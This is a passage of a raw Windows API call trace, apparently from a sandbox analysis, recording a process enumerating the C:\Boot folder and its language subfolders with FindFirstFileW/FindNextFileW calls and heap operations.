FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0077.636] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0077.636] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0077.636] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0077.636] GetProcessHeap () returned 0x11a0000 [0077.636] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.637] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.637] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.637] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.637] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.637] GetProcessHeap () returned 0x11a0000 [0077.637] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.637] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0077.637] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0077.638] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0077.638] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0077.638] GetProcessHeap () returned 0x11a0000 [0077.638] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0077.856] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.856] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.875] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.875] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.875] FindClose (in: hFindFile=0x11ba1d0 | out: hFindFile=0x11ba1d0) returned 1 [0077.875] GetProcessHeap () returned 0x11a0000 [0077.875] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.875] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="da-DK", cAlternateFileName="")) returned 1 [0077.875] GetProcessHeap () returned 0x11a0000 [0077.875] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.876] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.876] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.876] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.876] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.876] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.876] GetProcessHeap () returned 0x11a0000 [0077.876] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.876] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="de-DE", cAlternateFileName="")) returned 1 [0077.876] GetProcessHeap () returned 0x11a0000 [0077.876] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0077.876] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.876] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.876] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.877] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.877] FindClose (in: hFindFile=0x11b9f90 | out: hFindFile=0x11b9f90) returned 1 [0077.877] GetProcessHeap () returned 0x11a0000 [0077.877] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.877] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="el-GR", cAlternateFileName="")) returned 1 [0077.877] GetProcessHeap () returned 0x11a0000 [0077.877] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.877] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.877] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.877] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.877] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.877] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.877] GetProcessHeap () returned 0x11a0000 [0077.877] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.878] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="en-GB", cAlternateFileName="")) returned 1 [0077.878] GetProcessHeap () returned 0x11a0000 [0077.878] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.878] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.878] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.878] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.878] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.878] GetProcessHeap () returned 0x11a0000 [0077.878] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.878] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="en-US", cAlternateFileName="")) returned 1 [0077.878] GetProcessHeap () returned 0x11a0000 [0077.878] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, 